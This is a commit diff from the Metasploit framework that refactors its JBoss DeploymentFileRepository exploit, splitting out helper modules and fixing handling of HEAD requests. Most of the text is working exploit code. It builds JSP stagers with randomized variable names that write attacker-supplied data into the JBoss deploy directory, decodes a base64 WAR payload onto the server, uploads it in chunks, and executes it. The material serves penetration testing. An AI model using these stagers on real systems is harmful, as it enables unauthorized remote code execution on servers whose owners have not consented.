Fix problem with HEAD requests
Split lib/msf/http/jboss/script into lib/msf/http/jboss/deployment_file_repository_scripts.rb and lib/msf/http/jboss/bean_shell_scripts.rb asbug/bundler_fix
parent
abdd72e8c6
commit
283e83028f
|
@ -5,15 +5,17 @@ module Msf
|
|||
module HTTP
|
||||
module JBoss
|
||||
require 'msf/http/jboss/base'
|
||||
require 'msf/http/jboss/scripts'
|
||||
require 'msf/http/jboss/bean_shell'
|
||||
require 'msf/http/jboss/bean_shell_scripts'
|
||||
require 'msf/http/jboss/deployment_file_repository'
|
||||
require 'msf/http/jboss/deployment_file_repository_scripts'
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::JBoss::Base
|
||||
include Msf::HTTP::JBoss::Scripts
|
||||
include Msf::HTTP::JBoss::BeanShell
|
||||
include Msf::HTTP::JBoss::BeanShellScripts
|
||||
include Msf::HTTP::JBoss::DeploymentFileRepository
|
||||
include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::JBoss::Scripts
|
||||
module Msf::HTTP::JBoss::BeanShellScripts
|
||||
|
||||
# Generates a Bean Shell Script.
|
||||
#
|
||||
|
@ -19,43 +19,6 @@ module Msf::HTTP::JBoss::Scripts
|
|||
bean_shell
|
||||
end
|
||||
|
||||
# Generate a stager JSP to write the second stager to the
|
||||
# deploy/management direcotry. It is only used with HEAD/GET requests
|
||||
# to overcome the size limit in those requests
|
||||
#
|
||||
# @param stager_base [String] The name of the base of the stager.
|
||||
# @param stager_jsp [String] The name name of the jsp stager.
|
||||
# @return [String] The JSP head stager.
|
||||
def head_stager_jsp(stager_base, stager_jsp)
|
||||
content_var = rand_text_alpha(8+rand(8))
|
||||
file_path_var = rand_text_alpha(8+rand(8))
|
||||
jboss_home_var = rand_text_alpha(8+rand(8))
|
||||
fos_var = rand_text_alpha(8+rand(8))
|
||||
bw_var = rand_text_alpha(8+rand(8))
|
||||
head_stager_jsp_code = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*"
|
||||
%>
|
||||
<%
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
|
||||
if (request.getParameter("#{content_var}") != null) {
|
||||
try {
|
||||
String parameterName = (String)(request.getParameterNames().nextElement());
|
||||
#{content_var} = request.getParameter(parameterName);
|
||||
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
|
||||
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
|
||||
#{bw_var}.write(#{content_var});
|
||||
#{bw_var}.close();
|
||||
}
|
||||
catch(Exception e) { }
|
||||
}
|
||||
%>
|
||||
EOT
|
||||
|
||||
head_stager_jsp
|
||||
end
|
||||
|
||||
# Generate a stager JSP to write a WAR file to the deploy/ directory.
|
||||
# This is used to bypass the size limit for GET/HEAD requests.
|
||||
#
|
|
@ -0,0 +1,76 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||
|
||||
# Generate a stager JSP to write the second stager to the
|
||||
# deploy/management direcotry. It is only used with HEAD/GET requests
|
||||
# to overcome the size limit in those requests
|
||||
#
|
||||
# @param stager_base [String] The name of the base of the stager.
|
||||
# @param stager_jsp [String] The name name of the jsp stager.
|
||||
# @return [String] The JSP head stager.
|
||||
def head_stager_jsp(stager_base, stager_jsp_name)
|
||||
content_var = rand_text_alpha(8+rand(8))
|
||||
file_path_var = rand_text_alpha(8+rand(8))
|
||||
jboss_home_var = rand_text_alpha(8+rand(8))
|
||||
fos_var = rand_text_alpha(8+rand(8))
|
||||
bw_var = rand_text_alpha(8+rand(8))
|
||||
head_stager_jsp_code = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*"
|
||||
%>
|
||||
<%
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp_name}" + ".jsp";
|
||||
try {
|
||||
String #{content_var} = "";
|
||||
String parameterName = (String)(request.getParameterNames().nextElement());
|
||||
#{content_var} = request.getParameter(parameterName);
|
||||
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
|
||||
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
|
||||
#{bw_var}.write(#{content_var});
|
||||
#{bw_var}.close();
|
||||
}
|
||||
catch(Exception e) { }
|
||||
%>
|
||||
EOT
|
||||
head_stager_jsp_code
|
||||
end
|
||||
|
||||
# Generate a stager JSP to write a WAR file to the deploy/ directory.
|
||||
# This is used to bypass the size limit for GET/HEAD requests.
|
||||
#
|
||||
# @param app_base [String] The name of the WAR app to write.
|
||||
# @return [String] The JSP stager.
|
||||
def stager_jsp(app_base, encoded_payload)
|
||||
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
content_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
|
||||
stager_jsp = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*,
|
||||
sun.misc.BASE64Decoder"
|
||||
%>
|
||||
<%
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war";
|
||||
try {
|
||||
String #{content_var} = "#{encoded_payload}";
|
||||
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
|
||||
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
|
||||
#{fos_var}.write(#{decoded_var});
|
||||
#{fos_var}.close();
|
||||
}
|
||||
catch(Exception e){ }
|
||||
%>
|
||||
EOT
|
||||
|
||||
stager_jsp
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
|
@ -84,12 +84,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
||||
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
||||
stager_base = rand_text_alpha(8+rand(8))
|
||||
stager_jsp = rand_text_alpha(8+rand(8))
|
||||
stager_jsp_name = rand_text_alpha(8+rand(8))
|
||||
|
||||
p = payload
|
||||
mytarget = target
|
||||
|
||||
if (datastore['VERB'] == 'HEAD')
|
||||
if (http_verb == 'HEAD')
|
||||
print_status("Unable to automatically select a target with HEAD requests")
|
||||
else
|
||||
if (target.name =~ /Automatic/)
|
||||
|
@ -120,27 +120,25 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}).to_s
|
||||
|
||||
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
||||
|
||||
|
||||
stager_contents = stager_jsp(app_base, encoded_payload)
|
||||
# Depending on the type on the verb we might use a second stager
|
||||
if datastore['VERB'] == "POST" then
|
||||
if http_verb == "POST" then
|
||||
print_status("Deploying stager for the WAR file")
|
||||
stager_contents = stager_jsp(app_base)
|
||||
res = upload_file(stager_base, stager_jsp, stager_contents)
|
||||
res = upload_file(stager_base, stager_jsp_name, stager_contents)
|
||||
else
|
||||
print_status("Deploying minimal stager to upload the payload")
|
||||
head_stager_jsp_name = rand_text_alpha(8+rand(8))
|
||||
head_stager_contents = head_stager_jsp(stager_base, stager_jsp)
|
||||
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
|
||||
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
|
||||
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp?"
|
||||
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
|
||||
|
||||
# We split the stager_jsp_code in multipe junks and transfer on the
|
||||
# target with multiple requests
|
||||
current_pos = 0
|
||||
while current_pos < stager_jsp_code.length
|
||||
while current_pos < stager_contents.length
|
||||
next_pos = current_pos + 5000 + rand(100)
|
||||
junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos])
|
||||
print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})")
|
||||
junk = "arg0=" + Rex::Text.uri_encode(stager_contents[current_pos,next_pos])
|
||||
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
|
||||
res = deploy('uri' => head_stager_uri + junk)
|
||||
current_pos += next_pos
|
||||
end
|
||||
|
@ -152,11 +150,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# but the file still gets written.
|
||||
if (res.code == 200 || res.code == 500)
|
||||
print_status("Calling stager to deploy the payload warfile (might take some time)")
|
||||
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
|
||||
payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
|
||||
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
|
||||
stager_res = deploy('uri' => stager_uri,
|
||||
'data' => payload_data,
|
||||
'method' => http_verb)
|
||||
'method' => 'GET')
|
||||
|
||||
print_status("Try to call the deployed payload")
|
||||
# Try to execute the payload by calling the deployed WAR file
|
||||
|
@ -169,10 +165,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# The WAR can only be removed by physically deleting it, otherwise it
|
||||
# will get redeployed after a server restart.
|
||||
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
|
||||
print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD"
|
||||
print_status("This might take some time, be patient...") if http_verb == "HEAD"
|
||||
delete_res = []
|
||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp')
|
||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp')
|
||||
if head_stager_jsp_name
|
||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp_name, '.jsp')
|
||||
end
|
||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp_name, '.jsp')
|
||||
delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '')
|
||||
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
|
||||
delete_res.each do |res|
|
||||
|
|
Loading…
Reference in New Issue